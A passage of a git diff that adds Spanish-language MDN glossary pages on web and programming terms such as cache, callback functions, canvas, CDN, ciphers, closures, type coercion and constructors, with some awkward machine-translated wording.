+<p>La <strong>caché </strong>(o caché web) es un componente que almacena temporalmente respuestas HTTP para que puedan ser usadas por peticiones HTTP posteriores mientras cumplan ciertas condiciones.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Cach%C3%A9_web">Caché web</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/callback_function/index.html b/files/es/glossary/callback_function/index.html
new file mode 100644
index 0000000000..8250351896
--- /dev/null
+++ b/files/es/glossary/callback_function/index.html
@@ -0,0 +1,33 @@
+---
+title: Función Callback
+slug: Glossary/Callback_function
+translation_of: Glossary/Callback_function
+---
+<p>Una función de callback es una función que se pasa a otra función como un argumento, que luego se invoca dentro de la función externa para completar algún tipo de rutina o acción.</p>
+
+<p>Ejemplo:</p>
+
+<pre class="brush: js">function saludar(nombre) {
+  alert('Hola ' + nombre);
+}
+
+function procesarEntradaUsuario(callback) {
+  var nombre = prompt('Por favor ingresa tu nombre.');
+  callback(nombre);
+}
+
+procesarEntradaUsuario(saludar);</pre>
+
+<p>El ejemplo anterior es una callback sincrónica, ya que se ejecuta inmediatamente.</p>
+
+<p><font><font>Sin embargo, </font><font>tenga en </font><font>cuenta que las callbacks a menudo se utilizan para continuar con la ejecución del código después de que se </font><font>haya completado </font><font>una </font><font>operación a</font></font> sincrónica  — <font><font>estas se denominan devoluciones de llamada asincrónicas. </font><font>Por ejemplo, nuestro sencillo ejemplo de</font></font> <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/maps-example.html">maps-example.html</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">ver en vivo</a>) <font><font>utiliza la API de Google Maps y la API de geolocalización para mostrar un mapa de la ubicación actual de su dispositivo.</font></font></p>
+
+<p><font><font>Como obtener las coordenadas del dispositivo de su GPS es asíncrono (no sabemos exactamente cuándo se devolverán los datos),</font></font> el método {{domxref("Geolocation.getCurrentPosition()")}} <font><font>toma una función de devolución de llamada anónima como parámetro, que a su vez toma los datos de coordenadas devueltos como un parámetro. </font><font>Esta función solo se ejecuta cuando se devuelven los datos de coordenadas.</font></font></p>
+
+<h2 id="Aprende_más"><strong>Aprende más</strong></h2>
+
+<h3 id="Conocimientos_generales"><strong>Conocimientos generales</strong></h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Callback_(inform%C3%A1tica)">Callback</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/canvas/index.html b/files/es/glossary/canvas/index.html
new file mode 100644
index 0000000000..1cd60a6b40
--- /dev/null
+++ b/files/es/glossary/canvas/index.html
@@ -0,0 +1,32 @@
+---
+title: Canvas
+slug: Glossary/Canvas
+tags:
+  - Canvas
+  - HTML5
+translation_of: Glossary/Canvas
+---
+<p><span class="seoSummary">El <strong>elemento canvas</strong> forma parte de <a href="https://en.wikipedia.org/wiki/HTML5" title="HTML5">HTML5</a> y habilita dinamismo,<a href="https://en.wikipedia.org/wiki/Scripting_language" title="Scripting language"> de scripts</a> <a href="https://en.wikipedia.org/wiki/Rendering_(computer_graphics)" title="Rendering (computer graphics)">lenguaje</a> de figuras en 2D &amp; 3 3D e imágenes de<a href="https://en.wikipedia.org/wiki/Bitmap" title="Bitmap"> mapas de Bits</a> images.</span> esta en un bajo nivel, el modelo de procedimiento actualiza el<a href="https://en.wikipedia.org/wiki/Bitmap" title="Bitmap"> mapa de bits</a> y no tiene que construir en él<a href="https://en.wikipedia.org/wiki/Scene_graph" title="un gráfico de escena"> scene graph</a>. Ofrece una zona gráfica vacía en la cual especifica {{Glossary("JavaScript")}} {{Glossary("API","APIs")}} puede dibujar (como en Canvas 2D o {{Glossary("WebGL")}}).</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_básicos">Conocimientos básicos</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Canvas_(HTML)">Canvas en Wikipedia</a></li>
+</ul>
+
+<h3 id="Inicio_del_temario">Inicio del temario</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Canvas_tutorial">Tutorial de Canvas en MDN</a></li>
+</ul>
+
+<h3 id="Información_técnica">Información técnica</h3>
+
+<ul>
+ <li>The HTML {{HTMLElement("canvas")}} element on MDN</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/HTML/Canvas">Documentación general de Canvas en MDN</a></li>
+ <li>{{domxref("CanvasRenderingContext2D")}}: API de Canvas2D dibujando</li>
+ <li><a href="http://www.w3.org/TR/2dcontext/" rel="external">Canvas 2D, especificaciones del API</a></li>
+</ul>
diff --git a/files/es/glossary/caracter/index.html b/files/es/glossary/caracter/index.html
new file mode 100644
index 0000000000..5198607137
--- /dev/null
+++ b/files/es/glossary/caracter/index.html
@@ -0,0 +1,22 @@
+---
+title: Caracter
+slug: Glossary/Caracter
+tags:
+  - CodingScripting
+  - Glosario
+  - String
+translation_of: Glossary/Character
+---
+<p>Un <em>caracter</em> es un símbolo (letras, números, puntuación) o un caracter de "control" que no se imprime (p. ej., Retorno de carro o guión suave — <code>soft hypen</code>). {{Glossary("UTF-8")}} es el conjunto de caracteres más común e incluye los grafemas de los lenguajes humanos más populares.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Character (informática)")}} en Wikipedia</li>
+ <li>{{interwiki("wikipedia", "Character encoding")}} en Wikipedia</li>
+ <li>{{interwiki("wikipedia", "ASCII")}} en Wikipedia</li>
+ <li>{{interwiki("wikipedia", "UTF-8")}} en Wikipedia</li>
+ <li>{{interwiki("wikipedia", "Unicode")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/cdn/index.html b/files/es/glossary/cdn/index.html
new file mode 100644
index 0000000000..b7e2c14df4
--- /dev/null
+++ b/files/es/glossary/cdn/index.html
@@ -0,0 +1,17 @@
+---
+title: CDN
+slug: Glossary/CDN
+tags:
+  - Estructura
+  - Glosario
+translation_of: Glossary/CDN
+---
+<p>Una  <strong>Red de distribución de contenidos</strong> (<em>CDN en inglés</em>) es un grupo de servidores distribuidos en muchas ubicaciones. Estos servidores almacenan copias duplicadas de datos para que los servidores puedan cumplir con las solicitudes de datos en función de qué servidores están más cerca de los respectivos usuarios finales. Las CDN hacen que el servicio rápido se vea menos afectado por el alto tráfico.</p>
+
+<p>Los CDN se usan ampliamente para entregar hojas de estilo y archivos Javascript (activos estáticos) de bibliotecas como Bootstrap, jQuery, etc. Es preferible usar CDN para esos archivos de biblioteca por varias razones:</p>
+
+<ul>
+ <li>Servir los activos estáticos de las bibliotecas a través de CDN reduce la carga de solicitudes en nuestros propios servidores.</li>
+ <li>La mayoría de las CDN tienen servidores en todo el mundo, por lo que los servidores de CDN pueden estar geográficamente más cerca de sus usuarios que sus propios servidores. La distancia geográfica afecta la latencia proporcionalmente.</li>
+ <li>Los CDN ya están configurados con la configuración de caché adecuada. El uso de un CDN guarda más configuraciones para activos estáticos en sus propios servidores.</li>
+</ul>
diff --git a/files/es/glossary/challenge/index.html b/files/es/glossary/challenge/index.html
new file mode 100644
index 0000000000..221384ed3e
--- /dev/null
+++ b/files/es/glossary/challenge/index.html
@@ -0,0 +1,16 @@
+---
+title: Protocolos desafío-respuesta
+slug: Glossary/challenge
+tags:
+  - Seguridad
+translation_of: Glossary/challenge
+---
+<p>En protocolos de seguridad, un <em>desafío </em>es una información enviada al cliente por el servidor con el fin de generar una respuesta diferente cada vez . Los protocolos desafío-respuesta son una forma de batallar contra los <a href="https://es.wikipedia.org/wiki/Ataque_de_REPLAY">ataques de REPLAY</a> donde un atacante escucha los mensajes previos y los reenvía en un momento posterior para obtener las mismas credenciales que el mensaje original.</p>
+
+<p>El <a href="/es/docs/Web/HTTP/Authentication">protocolo de autenticación HTTP</a> está basado en los protocolos desafío-respuesta, aunque la autenticación "Basic" no usa un desafío real (el <em>realm </em>siempre es el mismo).</p>
+
+<h2 id="Leer_más">Leer más</h2>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Protocolos_desaf%C3%ADo-respuesta">Protocolos desafío-respuesta</a> en Wikipedia.</li>
+</ul>
diff --git a/files/es/glossary/character_encoding/index.html b/files/es/glossary/character_encoding/index.html
new file mode 100644
index 0000000000..ae1d0df389
--- /dev/null
+++ b/files/es/glossary/character_encoding/index.html
@@ -0,0 +1,28 @@
+---
+title: Codificación de caracteres
+slug: Glossary/character_encoding
+tags:
+  - Caracter
+  - Caractères
+  - Codificación
+  - Glosario
+translation_of: Glossary/character_encoding
+---
+<p>Una codificación define cómo se traducen los bytes a texto y viceversa. Una secuencia de bytes se pueden interpretar de diferentes formas. Eligiendo una codificación en particular (como UTF-8), decimos como la secuencia de bytes debe ser interpretada.</p>
+
+<p>Por ejemplo, en HTML normalmente especificamos que la codificiación va a ser UTF-8 con la siguiente linea:</p>
+
+<div class="example">
+<pre class="brush: html"><code>&lt;meta charset="utf-8"&gt;</code></pre>
+
+<p>Con esto te aseguras de que usando caracteres propios de cualquier lenguaje humano en tu documento HTML, se mostrarán de forma legible. </p>
+</div>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="https://www.w3.org/International/articles/definitions-characters/">Character encoding on W3C</a></li>
+ <li>{{Interwiki("wikipedia", "Codificación_de_caracteres", "Codificación de caracteres")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/chrome/index.html b/files/es/glossary/chrome/index.html
new file mode 100644
index 0000000000..2d2fb56921
--- /dev/null
+++ b/files/es/glossary/chrome/index.html
@@ -0,0 +1,17 @@
+---
+title: Chrome
+slug: Glossary/Chrome
+tags:
+  - Chrome
+  - Glosario
+  - Navegador
+  - WebMechanics
+translation_of: Glossary/Chrome
+---
+<p><span id="result_box" lang="es"><span>En un navegador, Chrome es cualquier aspecto visible de un navegador aparte de las páginas web en sí (por ejemplo, barras de herramientas, barra de menús, pestañas).</span></span> Esto no debe confundirse con el navegador {{glossary("Google Chrome")}}.</p>
+
+<h2 id="Leer_más">Leer más</h2>
+
+<ul>
+ <li><a href="http://www.nngroup.com/articles/browser-and-gui-chrome/">Browser and GUI Chrome</a></li>
+</ul>
diff --git a/files/es/glossary/cid/index.html b/files/es/glossary/cid/index.html
new file mode 100644
index 0000000000..983f0d0447
--- /dev/null
+++ b/files/es/glossary/cid/index.html
@@ -0,0 +1,17 @@
+---
+title: CID
+slug: Glossary/CID
+tags:
+  - Glosario
+  - Seguridad
+translation_of: Glossary/CIA
+---
+<p>CID (Confidencialidad, Integridad, Disponibilidad) (también llamado la triada CID o la triada DIC) es un modelo que guía las políticas de una organización para la seguridad de la información.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Seguridad_de_la_información#Concepción_de_la_seguridad_de_la_información", "CIA")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/cifrado/index.html b/files/es/glossary/cifrado/index.html
new file mode 100644
index 0000000000..e0679eca97
--- /dev/null
+++ b/files/es/glossary/cifrado/index.html
@@ -0,0 +1,32 @@
+---
+title: Algoritmo criptográfico
+slug: Glossary/Cifrado
+tags:
+  - Criptografía
+  - Glosario
+  - Seguridad
+  - privacidad
+translation_of: Glossary/Cipher
+---
+<p>En {{glossary("cryptography", "criptografía")}}, un algoritmo criptográfico es un algoritmo que puede {{glossary("encryption", "encriptar")}} {{glossary("cleartext", "texto en lenguaje natural")}} para hacerlo ilegible, y para que sea {{glossary("decryption", "desencriptado")}} con el fin de recuperar el texto original.</p>
+
+<p>Los algoritmos de cifrado eran muy comunes mucho antes de la era de la información (e.g., <a href="https://es.wikipedia.org/wiki/Cifrado_por_sustituci%C3%B3n">cifrados por sustitucion</a> y <a href="https://es.wikipedia.org/wiki/Cifrado_por_transposici%C3%B3n">cifrados por transposición</a>), pero ninguno de ellos era criptográficamente seguros excepto <a href="https://es.wikipedia.org/wiki/Libreta_de_un_solo_uso">one-time pad</a>.</p>
+
+<p>Los algoritmos modernos de cifrado están diseñados para resistir a {{glossary("attack", "ataques")}} descubiertos por un {{glossary("cryptanalysis", "criptoanalista")}}. No hay garantía de que todos los métodos de ataque hayan sido descubiertos, pero cada algoritmo es probado contra todos los tipos de ataque conocidos.</p>
+
+<p>Los algoritmos de cifrado funcionan de dos maneras, una es como <a href="https://es.wikipedia.org/wiki/Cifrado_por_bloques">cifrado por bloques</a> en bloques sucesivos o buffers de datos, y la otra es como un <a href="https://es.wikipedia.org/wiki/Cifrador_de_flujo">cifrado en flujo</a> en un flujo continuo de datos (generalmente de audio o vídeo).</p>
+
+<p>También son clasificados en función de cómo se manejan sus  {{glossary("key", "claves")}}:</p>
+
+<ul>
+ <li>Los <a href="https://es.wikipedia.org/wiki/Criptograf%C3%ADa_simétrica">algoritmos de clave simétrica</a> usan la misma clave para codificar y para decodificar un mensaje. La clave debe ser enviada de forma segura para mantener la confidencialidad del mensaje.</li>
+ <li>Los <a href="https://es.wikipedia.org/wiki/Criptograf%C3%ADa_asimétrica">algoritmos de clave asimétrica</a> usan claves diferentes para codificar y para decodificar.</li>
+</ul>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Algoritmo_criptográfico">Algoritmo criptográfico</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/clasificación_por_tarjetas_(card_sorting)/index.html b/files/es/glossary/clasificación_por_tarjetas_(card_sorting)/index.html
new file mode 100644
index 0000000000..a9b2638bb2
--- /dev/null
+++ b/files/es/glossary/clasificación_por_tarjetas_(card_sorting)/index.html
@@ -0,0 +1,18 @@
+---
+title: Clasificación por tarjetas (card sorting)
+slug: Glossary/Clasificación_por_tarjetas_(card_sorting)
+tags:
+  - Card sorting
+  - Diseño
+  - Glosario
+translation_of: Glossary/Card_sorting
+---
+<p>La clasificación por tarjetas (card sorting) es una técnica simple utilizada en la {{glossary("Information architecture", "arquitectura de la información")}} en la cual las personas involucradas en el diseño de una página web (u otro tipo de producto) están invitadas a describir el contenido / servicios / características que creen que el producto debería contener, para luego organizar estas características dentro de categorías o grupos. Esto se puede usar, por ejemplo, para determinar qué debe aparecer en cada página de una aplicación web. El nombre proviene del hecho de que a menudo la clasificación de las cartas se lleva a cabo literalmente escribiendo los elementos que se van a clasificar en tarjetas, y luego apilando las tarjetas.</p>
+
+<h2 id="Saber_más"><strong>Saber más</strong></h2>
+
+<h3 id="Conocimientos_generales"><strong>Conocimientos generales</strong></h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Card_sorting", "Card sorting")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/class/index.html b/files/es/glossary/class/index.html
new file mode 100644
index 0000000000..d37749f274
--- /dev/null
+++ b/files/es/glossary/class/index.html
@@ -0,0 +1,22 @@
+---
+title: Clase
+slug: Glossary/Class
+tags:
+  - Clase
+  - Glosario
+  - OOP
+  - POO
+translation_of: Glossary/Class
+---
+<p>En {{glossary("OOP","programación orientada a objetos")}}, una clase define las características de un {{glossary("object","objeto")}}. Una clase es una plantilla que define {{glossary("property","propiedades")}} y {{glossary("method","métodos")}}, es un modelo abstracto a partir del cual se pueden crear instancias más específicas.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Lenguajes de programación basados en clases vs. basados en prototipos</a> (como JavaScript)</li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/Objects">Uso de funciones como clases en JavaScript</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Class-based_programming">Programación basada en clases</a> en Wikipedia</li>
+ <li><a href="https://en.wikipedia.org/wiki/Object-oriented_programming">Programación orientada a objetos</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/clausura/index.html b/files/es/glossary/clausura/index.html
new file mode 100644
index 0000000000..2f4cbbb479
--- /dev/null
+++ b/files/es/glossary/clausura/index.html
@@ -0,0 +1,22 @@
+---
+title: Clausura
+slug: Glossary/Clausura
+tags:
+  - Glosario
+translation_of: Glossary/Closure
+---
+<p>Una clausura o <em>closure</em> es una función que guarda referencias del estado adyacente (<strong>{{glossary("scope", "ámbito léxico")}}</strong>). En otras palabras, una clausura permite acceder al ámbito de una función exterior desde una función interior. En {{glossary("JavaScript")}}, las clausuras se crean cada vez que una <strong>{{glossary("function","función")}}</strong> es creada.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Clausura (informática)", "Clausura")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Closures">Clausuras</a> en MDN</li>
+</ul>
diff --git a/files/es/glossary/clave/index.html b/files/es/glossary/clave/index.html
new file mode 100644
index 0000000000..b228776065
--- /dev/null
+++ b/files/es/glossary/clave/index.html
@@ -0,0 +1,19 @@
+---
+title: Clave
+slug: Glossary/Clave
+tags:
+  - Criptografía
+  - Glosario
+  - Seguridad
+translation_of: Glossary/Key
+---
+<p>Una clave es una pieza de información utilizada por un algoritmo criptográfico para el {{Glossary("encryption", "cifrado")}} y/o {{Glossary("decryption", "descifrado")}}. Los mensajes cifrados deben permanecer seguros incluso si todo lo relacionado con el {{Glossary("cryptosystem","sistema de cifrado")}}, excepto la clave, es de conocimiento público.</p>
+
+<p>En la {{Glossary("symmetric-key cryptography", "criptografía de clave simétrica")}}, la misma clave se utiliza tanto para el cifrado como para el descifrado. En la criptografía de clave pública, existen un par de claves relacionadas conocidas como <em>clave pública</em> y <em>clave privada</em>. La clave pública está disponible libremente, mientras que la clave privada se mantiene secreta. La clave pública puede cifrar mensajes que sólo la clave privada correspondiente puede descifrar, y viceversa.</p>
+
+<p><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.33327865600586px;"><strong>Saber más</strong></span></font></p>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Principios_de_Kerckhoffs">Principos de Kerckhoffs</a> en Wikipedia</li>
+ <li><a href="https://wiki.developer.mozilla.org/es/docs/Glossary/Cifrado">Cifrado</a></li>
+</ul>
diff --git a/files/es/glossary/codec/index.html b/files/es/glossary/codec/index.html
new file mode 100644
index 0000000000..6afe8b63d7
--- /dev/null
+++ b/files/es/glossary/codec/index.html
@@ -0,0 +1,23 @@
+---
+title: Códec
+slug: Glossary/Codec
+tags:
+  - Glosario
+  - TecnologíasWeb
+translation_of: Glossary/Codec
+---
+<p>Un <em>códec</em> (acrónimo de "<em><strong>co</strong></em>dificador-<em><strong>dec</strong></em>odificador") es un programa, algoritmo, o dispositivo que codifica o decodifica un flujo de datos. Cada códec sabe cómo tratar un estándar específico de codificado o compresión.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Códec")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencias_técnicas">Referencias técnicas</h3>
+
+<ul>
+ <li><a href="es/docs/Web/HTML/Formatos_admitidos_de_audio_y_video_en_html5">Formatos de medios admitidos por los elementos HTML audio y video</a></li>
+</ul>
diff --git a/files/es/glossary/coercion/index.html b/files/es/glossary/coercion/index.html
new file mode 100644
index 0000000000..02721fad10
--- /dev/null
+++ b/files/es/glossary/coercion/index.html
@@ -0,0 +1,22 @@
+---
+title: Coerción
+slug: Glossary/coercion
+translation_of: Glossary/Type_coercion
+---
+<p>La coerción es la conversión automática o implicita de valores de un tipo de dato a otro (Ejemplo: de cadena de texto a número). La conversión es similar a la coerción porque ambas convierten valores de un tipo de dato a otro pero con una diferencia clave - la coerción es implícita mientras que la conversión puede ser implícita o explícita.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">const valor1 = '5';
+const valor2 = 9;
+let suma = valor1 + valor2;
+
+console.log(suma);</pre>
+
+<p>En el ejemplo anterior, JavaScript ha coercido el <code>9</code> de nùmero a cadena de texto y luego ha concatenado los dos valores resultando en una cadena de texto de <code>59</code>. JavaScript tuvo la opción de coercer a cadena de texto o número y decidió usar número.</p>
+
+<p>El compilador pudo haber coercido el <code>5</code> a un número y retornar el valor de <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">14</span></font>, pero no lo hizo. Para retornar ese resultado, tendrías que convertir explícitamente el <code>5</code> a un número usando el método <code>Number()</code>:</p>
+
+<pre class="brush: js">sumar = Number(valor1) + valor2</pre>
+
+<section class="Quick_links" id="Quick_Links"></section>
diff --git a/files/es/glossary/compile/index.html b/files/es/glossary/compile/index.html
new file mode 100644
index 0000000000..957ea2bbb1
--- /dev/null
+++ b/files/es/glossary/compile/index.html
@@ -0,0 +1,32 @@
+---
+title: Compilar
+slug: Glossary/Compile
+tags:
+  - CodingScripting
+  - Compilador
+  - Glossary
+  - compilar
+translation_of: Glossary/Compile
+---
+<p>Compilar es el proceso de transformar un programa informático escrito en un {{Glossary("computer programming", "lenguaje")}} en un programa equivalente en otro formato. Al programa que se encarga de compilar se le llama compilador. A veces, a esta tarea se le llama "ensamblar" o "construir", lo que suele implicar otros procesos adicionales, e.j. empaquetarlo en formato binario.</p>
+
+<p>Normalmente, un compilador transforma un lenguaje de alto nivel como C o {{Glossary("Java")}}, el cual es legible por los humanos, en un lenguaje máquina que la CPU puede entender. algunos compiladores que traducen de un lenguaje a otro del mismo nivel son llamados transpiladores, por ejemplo al compilar de TypeScript a {{Glossary("JavaScript")}}. Son considerados herramientas de productividad.</p>
+
+<p>Muchos compiladores funcionan de forma anticipada (AOT) o en tiempo de ejecución (JIT). Como programador, normalmente llamas a los compiladores AOT mediante la linea de comandos o el {{Glossary("IDE")}}  que estés usando. Un ejemplo es el famoso compilador "gcc".<br>
+ Los compiladores JIT suelen ser transparentes para el programador. Por ejemplo en los exploradores: el motor javaScript de <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>, de FireFox tiene un JIT embebido que compila el JavaScript de una web a código máquina mientras navegas. Proyectos como <a href="/en-US/docs/WebAssembly">WebAssembly</a> trabajan para mejorar esto.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Compiler")}} on Wikipedia</li>
+ <li>The <a href="https://gcc.gnu.org">GNU Compiler Collection (GCC)</a></li>
+</ul>
+
+<h3 id="Véase_también">Véase también</h3>
+
+<ul>
+ <li><a href="https://medium.com/basecs/a-deeper-inspection-into-compilation-and-interpretation-d98952ebc842">Base CS Introduction on Compilers</a></li>
+ <li><a href="http://stackoverflow.com/a/1672/133203">A big list of learning material on StackOverflow</a></li>
+</ul>
diff --git a/files/es/glossary/compile_time/index.html b/files/es/glossary/compile_time/index.html
new file mode 100644
index 0000000000..bb478fdb63
--- /dev/null
+++ b/files/es/glossary/compile_time/index.html
@@ -0,0 +1,15 @@
+---
+title: Tiempo de compilación
+slug: Glossary/compile_time
+translation_of: Glossary/Compile_time
+---
+<p>El <em>tiempo de compilación</em> es el tiempo desde que el programa es cargado por primera vez hasta que el programa es {{Glossary("parse","parsed")}}.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Compile time")}} en Wikipedia (inglés)</li>
+ <li><a href="https://es.wikipedia.org/wiki/Tiempo_de_compilaci%C3%B3n">Tiempo de compilación</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/computer_programming/index.html b/files/es/glossary/computer_programming/index.html
new file mode 100644
index 0000000000..f8da4c74bf
--- /dev/null
+++ b/files/es/glossary/computer_programming/index.html
@@ -0,0 +1,21 @@
+---
+title: Programación de computadoras
+slug: Glossary/Computer_Programming
+tags:
+  - Lenguaje de programación
+  - Scripting
+  - programacion
+translation_of: Glossary/Computer_Programming
+---
+<p>Programación de computadoras es un proceso de componer y organizar un conjunto de instrucciones. Éstas le indican a una computadora/software qué hacer en un lenguaje comprensible para la computadora. Estas instrucciones pueden presentarse en diferentes lenguajes, tales como C++, Java, JavaScript, HTML, Python, Ruby y Rust.</p>
+
+<p>Usando un lenguaje apropiado, puedes programar/crear todo tipo de software. Por ejemplo, un programa que ayude a científicos con cálculos complejos; una base de datos que almacene grandes cantidades de datos; un sitio web que permita a la gente descargar música, o un software de animación que permita a la gente crear películas animadas.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Programaci%C3%B3n">Programación: Wikipedia</a></li>
+ <li><a href="https://es.wikipedia.org/wiki/Anexo:Lenguajes_de_programaci%C3%B3n">Lista de lenguajes de programación: Wikipedia</a></li>
+</ul>
diff --git a/files/es/glossary/conjunto_de_caracteres/index.html b/files/es/glossary/conjunto_de_caracteres/index.html
new file mode 100644
index 0000000000..27e5a7345c
--- /dev/null
+++ b/files/es/glossary/conjunto_de_caracteres/index.html
@@ -0,0 +1,31 @@
+---
+title: Conjunto de caracteres
+slug: Glossary/conjunto_de_caracteres
+tags:
+  - Codificación de caracteres
+  - Conjunto de caracteres
+  - Glosario
+translation_of: Glossary/character_set
+---
+<p><span class="seoSummary">Un <strong>conjunto de caracteres</strong> es un sistema de codificación para que las computadoras sepan cómo reconocer un {{Glossary("Character", "caracter")}}, incluidas letras, números, signos de puntuación y espacios en blanco.</span></p>
+
+<p>En épocas anteriores, los países desarrollaron sus propios conjuntos de caracteres debido a los diferentes idiomas utilizados, como los códigos Kanji JIS (por ejemplo, Shift-JIS, EUC-JP, etc.) para japonés, Big5 para chino tradicional y KOI8-R para ruso. Sin embargo, {{Glossary("Unicode")}} se convirtió gradualmente en el conjunto de caracteres más aceptable por su soporte de idiomas universal.</p>
+
+<p>Si un conjunto de caracteres se usa incorrectamente (por ejemplo, Unicode para un artículo codificado en Big5), es posible que no vean más que caracteres rotos, que se llaman {{Interwiki("wikipedia", "Mojibake")}}.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li>Artículos de Wikipedia
+  <ol>
+   <li>{{Interwiki("wikipedia", "Codificación_de_caracteres", "Codificación de caracteres")}}</li>
+   <li>{{Interwiki("wikipedia", "Mojibake")}}</li>
+  </ol>
+ </li>
+ <li><a href="/es/docs/Glossary">Glosario</a>
+  <ol>
+   <li>{{Glossary("Character", "Caracter")}}</li>
+   <li>{{Glossary("Unicode")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/glossary/constante/index.html b/files/es/glossary/constante/index.html
new file mode 100644
index 0000000000..41d4efb98a
--- /dev/null
+++ b/files/es/glossary/constante/index.html
@@ -0,0 +1,20 @@
+---
+title: Constante
+slug: Glossary/Constante
+tags:
+  - CodingScripting
+  - Constante
+  - Glosario
+translation_of: Glossary/Constant
+---
+<p>Una constante es un valor que el programador no puede cambiar, por ejemplo números (1, 2, 42). Con {{glossary("variable","variables")}}, por otra parte, el programador puede asignar un nuevo {{glossary("value", "valor")}} a una variable cuyo nombre ya esté en uso.</p>
+
+<p>Al igual que las variables, algunas constantes están unidas a identificadores. Por ejemplo, el identificador <code>pi</code> podría estar vinculado al valor 3.14... .</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Constante_(informática)", "Constante")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/constructor/index.html b/files/es/glossary/constructor/index.html
new file mode 100644
index 0000000000..7a5d910a5d
--- /dev/null
+++ b/files/es/glossary/constructor/index.html
@@ -0,0 +1,47 @@
+---
+title: Constructor
+slug: Glossary/Constructor
+tags:
+  - Glosario
+translation_of: Glossary/Constructor
+---
+<p>Un <strong>constructor</strong> pertenece a una clase objeto ({{glossary("object")}}) particular la cual es instanciada. El constructor inicializa este objeto y puede otorgar acceso a su información privada. El concepto de objeto puede ser aplicado a la mayoría de los lenguajes orientados a objetos ({{glossary("OOP","object-oriented programming")}}). En esencia, un constructor en {{glossary("JavaScript")}} suele ser declarado al comienzo de una instancia de una clase ({{glossary("class")}}).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">// This is a generic default constructor class Default
+function Default() {
+}
+
+// This is an overloaded constructor class Overloaded
+// with parameter arguments
+function Overloaded(arg1, arg2, ...,argN){
+}
+</pre>
+
+<p>Para llamar al constructor de una clase en Javascript, use el operador <code>new</code> para asignar un objeto de referencia ({{glossary("object reference")}}) a una {{glossary("variable")}}.</p>
+
+<pre class="brush: js">function Default() {
+}
+
+// A new reference of a Default object assigned to a
+// local variable defaultReference
+var defaultReference = new Default();
+</pre>
+
+<p> </p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Constructor_%28object-oriented_programming%29", "Constructor")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
